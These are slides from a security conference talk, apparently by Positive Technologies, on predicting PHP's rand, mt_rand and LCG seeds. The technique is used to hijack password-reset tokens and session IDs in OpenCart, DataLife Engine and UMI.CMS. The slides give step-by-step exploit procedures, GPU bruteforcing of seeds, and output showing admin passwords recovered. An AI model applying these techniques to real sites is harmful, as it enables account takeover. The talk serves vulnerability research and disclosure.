RANDOM NUMBERS TAKE II

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POSITIVE TECHNOLOGIES –
OUR EXPERIENCE, YOUR SECURITY

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ZERO NIGHTS



Timeline of PHP problems with random numbers

- 2008: “mt_srand and not so random numbers” by Stefan Esser
- Early 2010: “Abusing weak PRNGs in PHP applications” by gat3way
- July 2010: “How I Met Your Girlfriend” by Samy Kamkar
- July 2012: “I Forgot Your Password: Randomness Attacks Against PHP” by George Argyros and Aggelos Kiayias
- August 2012: “Random Numbers. Take Two”

PHP Developers: meh, so what?

- **Documentation still lacks security warnings except for uniqid()**
- **PHP developers refuse to use external crypto providers in GENERATE_SEED**
- **Seeds in LCG and Mersenne Twister are interdependent (if you know one seed you will know the other)**

PHP Developers: meh, so what?

- **Make seeding more secure?**
- **Nope, fix the documentation instead.***

*** didn’t do even this.**

What we are going to hack today

- OpenCart 1.5.3.1
- DataLife Engine 9.5
- UMI.CMS 2.8.5.3
- OpenCart 1.5.4.1

Basics (1)

- Apache: mpm-prefork (separate processes) or mpm-worker (threads within a process)
- PHP: non-thread safe (used with mpm-prefork) or thread safe (used with mpm-worker)
- Apache+PHP: mod_php (same process on keep-alive requests) or CGI/FastCGI (different processes on keep-alive requests)

Basics (2)

- In a fresh process PHP automatically seeds its PRNGs
- Same seed for rand and mt_rand (max value 2^32)
- Two different seeds for LCG (max value 2^32 each)

OpenCart 1.5.3.1



```
$code = md5(mt_rand());
//admin/controller/common/forgotten.
php

$this->session->data['token'] =
md5(mt_rand());
//admin/controller/common/login.php
```

OpenCart 1.5.3.1

Fresh Process Spawning on mpm-prefork Apache

- **Initiate a number of keep-alive requests that is > MaxSpareServers (10 by default)**
- **Fill the pool**
- **Make target request on freshly seeded process**

OpenCart 1.5.3.1

- **php exploits/opencart/1.5.3.1.php**
- php exploits/opencart/md5crack.php <md5> or ./tools/hashcat/hashcat <md5> on obtained token
- At Amazon run “mt_seed.exe” or ./tools/php_mt_seed/php_mt_seed <num> on obtained random number
- php exploits/opencart/genlinks.php seeds.txt

OpenCart 1.5.3.1



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

OpenCart 1.5.3.1

GREAT SCOTT! IT WORKED!

DataLife 9.6



engine/modules/lostpassword.php:

```
$salt = "abchefghjkmnpqrstuvwxyz0123456789";
srand( ( double ) microtime() * 1000000 );
for($i = 0; $i < 15; $i ++) {
    $rand_lost .= $salt{rand( 0, 33 )};
}
$lostid = sha1( md5( $lostname . $lostmail ) . time
() . $rand_lost )
```

engine/modules/pm.php:

```
$salt = "abchefghjkmnpqrstuvwxyz";
$random_key = "";
for($i = 0; $i < 8; $i ++) {
    $random_key .= $salt{rand( 0, 23 )};
}
```

DataLife 9.6

- **Log on as test:123456 at http://datalife**
- Copy PHPSESSID (View Page Info -> Details -> View Cookies)
- Delete cookies, go to http://datalife/?do=lostpassword
- Copy PHPSESSID and symbols on captcha
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
Page Info - http://datalife/
General
Media
Feeds
Permissions
Security
Website Identity
Website: datalife
Owner: This website does not supply ownership information.
Verified by: Not specified
Privacy & History
Have I visited this website prior to today? Yes, 44 times
Is this website storing information (cookies) on my computer? Yes
View Cookies
Have I saved any passwords for this website? No
View Saved Passwords
Technical Details
Connection Not Encrypted
The website datalife does not support encryption for the page you are viewing.
Information sent over the Internet without encryption can be seen by other people while it is in transit.
Cookies
Search: datalife
The following cookies match your search:
Site
Cookie Name
datalife PHPSESSID
datalife dle_user_id
datalife dle_password
datalife dle_newpm
Name: PHPSESSID
Content: 52dec8bd21c0114eb169aab78550d423
Host: datalife
Path: /
Send For: Any type of connection
Expires: At end of session
Remove Cookie
Remove All Cookies
Close

DataLife 9.6

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DataLife 9.6


pt@ubuntu: ~/workshop
File Edit View Terminal Help
==========
DLE < 9.6 Admin Pass Reset Exploit
==========
Sending request 1,2
Found Token1='phhuhasu'; Time=1353240396
FOUND SEED: 661099 RESET TOKEN=a786bf961d27be61828c03ebd4a836c4cf62af97
Sending request 3,4
FOUND Token2='srhxfvp'
FOUND PASS: 2euxrjqz6

GREAT SCOTT!
IT WORKED!

UMI.CMS 2.8.5.3

Time Synchronization (ATS)



msec(server) ~ [0;(m2-m1)/2]

(PHP<5.4) ext/session/session.c:

```
gettimeofday(&tv, NULL);
...
spprintf(&buf, 0, "%.15s%ld%ld%0.8F",
remote_addr ? remote_addr : "", tv.tv_sec,
(long int)tv.tv_usec,
php_combined_lcg(TSRMLS_C) * 10);
...
return PHP_MD5Update(&md5_context, (unsigned
char *) buf, strlen(buf));
```

UMI.CMS 2.8.5.3

PHPSESSID:

md5(127.0.0.11351346648192088.00206033)

- **IP (known)**
- **timestamp (known)**
- **microtime0 (need to bruteforce)**
- **LCG (need to find two seeds)**

ext/standard/lcg_seed.h:

```
static void lcg_seed(TSRMLS_D) {
    struct timeval tv;
    if (gettimeofday(&tv, NULL) == 0) {
        LCG(s1) = tv.tv_sec ^ (tv.tv_usec<<11);
    } else {
        LCG(s1) = 1;
}
#ifdef ZTS
    LCG(s2) = (long) tsrm_thread_id();
#else
    LCG(s2) = (long) getpid();
#endif
        if (gettimeofday(&tv, NULL) == 0) {
        LCG(s2) ^= (tv.tv_usec<<11);
}
    LCG(seeded) = 1;
}
```

LCG seeds:

S1 = timestamp ^ microtime1 << 11

S2 = pid ^ microtime2 << 11

- **timestamp (known)**
- **microtime1 (need to bruteforce: microtime1 – microtime0 = 1…4)**
- **pid (need to bruteforce: 1024-32768)**
- **microtime2 (need to bruteforce: microtime2 - microtime1 = 0…3)**

ext/standard/php_rand.h:

```
#ifdef PHP_WIN32

#define GENERATE_SEED() (((long) (time(0) *
GetCurrentProcessId())) ^ ((long) (1000000.0 *
php_combined_lcg(TSRMLS_C))))

#else

#define GENERATE_SEED() (((long) (time(0) *
getpid())) ^ ((long) (1000000.0 *
php_combined_lcg(TSRMLS_C))))

#endif
```

UMI.CMS 2.8.5.3

```
function getRandomPassword ($length = 12) {
    $avLetters = "$#@^&!1234567890qwertyuiopasd
fghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM";
    $size = strlen($avLetters);
    $npass = "";
    for($i = 0; $i < $length; $i++) {
        $c = rand(0, $size - 1);
        $npass .= $avLetters[$c];
    }
    return $npass;
}
```

UMI.CMS 2.8.5.3

- **Edit exploits/umi/umi.php, add your login**
- php exploits/umi/umi.php [offset=0] [delay1=10000-100000] [delay2=10000]
- Run phpsessid_cuda with PHPSESSID, timestamp and your ip
- php exploits/umi/pass_gen.php <sec> <pid> <s1> <s2>

UMI.CMS 2.8.5.3

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UMI.CMS 2.8.5.3

```
CHANGE!  local[610972]=(1353240888) local[880625]=(1353240889)t3=455688 t~=42235
8 serv_msec=1 200  pid=0
CHANGE!  local[611034]=(1353240890) local[884236]=(1353240891)t3=494679 t~=44182
2 serv_msec=1 200  pid=0
CHANGE!  local[610164]=(1353240892) local[882867]=(1353240893)t3=503903 t~=44686
9 serv_msec=1 200  pid=0
CHANGE!  local[611042]=(1353240924) local[883512]=(1353240925)t3=450180 t~=41956
9 serv_msec=1 200  pid=0
RESULT: session=42jp3bifg2444nu5pvh9vkhpf3 usec=[0;419569] sec=1353240925
FINISH! pt@ubuntu:~/workshop$
```

UMI.CMS 2.8.5.3

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- php exploits/umi/umi.php [offset=0] [delay1=10000-100000] [delay2=10000]
- **Run phpsessid_cuda with PHPSESSID, timestamp and your ip**
- php exploits/umi/pass_gen.php <sec> <pid> <s1> <s2>

PHPSESSID Bruteforcer

- **1,170 billion seeds/sec on a single Amazon EC2 GPU Instance**
- **Supports multiple GPUs**
- **Covers the whole search space within 7,5 minutes**
- **Supports distributed computing based on sockets**
- **So fast that we don’t need microtime synchronization with remote server any more**

PHPSESSID Bruteforcer



UMI.CMS 2.8.5.3

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- php exploits/umi/umi.php [offset=0] [delay1=10000-100000] [delay2=10000]
- Run phpsessid_cuda with PHPSESSID, timestamp and your ip
- **php exploits/umi/pass_gen.php <sec> <pid> <s1> <s2>**

Восстановление пароля

Пароль успешно изменен, на e-mail адрес, указанный при регистрации выслано уведомление.

Логин: admin

Пароль: QOCfQdhQX#fh

GREAT SCOTT!
IT WORKED!

PHDAYS.RU OWNED!!!

OpenCart 1.5.4.1



OpenCart 1.5.4.1

~~$code = md5(mt_rand());~~

```
$code = sha1(uniqid(mt_rand(), true));

//admin/controller/common/forgotten.php

$this->session->data['token'] =
md5(mt_rand());
//admin/controller/common/login.php
```

Sources of entropy:

- **mt_rand() : 92496817**
- **uniqid() : 1351070918 + 616520 (in hex)**
- **lcg_value() : 7.41222311**

sha1(924968175087b4c6968487.41222311)

ext/standard/php_rand.h:

```
#ifdef PHP_WIN32

#define GENERATE_SEED() (((long) (time(0) *
GetCurrentProcessId())) ^ ((long) (1000000.0 *
php_combined_lcg(TSRMLS_C))))

#else

#define GENERATE_SEED() (((long) (time(0) *
getpid())) ^ ((long) (1000000.0 *
php_combined_lcg(TSRMLS_C))))

#endif
```

OpenCart 1.5.4.1

- Send 3 requests in keep-alive (get token, user reset, admin reset)
- Find MT seeds (some collisions are present)
- Bruteforce LCG seeds (also collisions) given MT seeds
- Bruteforce our sha1 -> find out proper MT seed, LCG seed; also microseconds to start from
- Calculate admin mt_rand(), admin LCG
- Bruteforce microseconds given starting point from our sha1 (Request Twins approach)

OpenCart 1.5.4.1

- **php exploits/opencart/1.5.4.1.php, get hash in local mail**
- **php exploits/opencart/md5crack.php <md5> or ./tools/hashcat/hashcat <md5> on obtained token**
- **At Amazon run “mt_rand.exe” to get seeds**
- **At Amazon run “lcg_sha1.exe” with seeds file, timestamp and sha1 hash**
- **Get back to exploit, specify mt_rand, admin LCG and microsecs to start from**


5:44 PM
pt
Set Up Chat...
Mail
Compose New Message
Contacts
Set Up Broadcast Account...

OpenCart 1.5.4.1

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LCG via mt_rand Seed Bruteforcer

- **Allows to find LCG seeds (some collision are present) given mt_rand seed**
- **GPU-based**
- **16 billion seeds/sec on a single Amazon EC2 GPU Instance**
- **Covers the whole search space within 1 minute**

OpenCart 1.5.4.1



OpenCart 1.5.4.1

1 0.94821643
2 9.31809351 ← mt_srand
3 1.78501767
4 5.16258654
5 7.25796790 ← User LCG
6 1.86345598
7 3.57376950
8 4.59748062 ← Admin LCG
9 1.85684612
10 2.74482567

OpenCart 1.5.4.1



OpenCart 1.5.4.1



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Wait a moment…

OpenCart 1.5.4.1 (4)

GREAT SCOTT! IT WORKED!

Thanks!

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Dmitriy Nagibin

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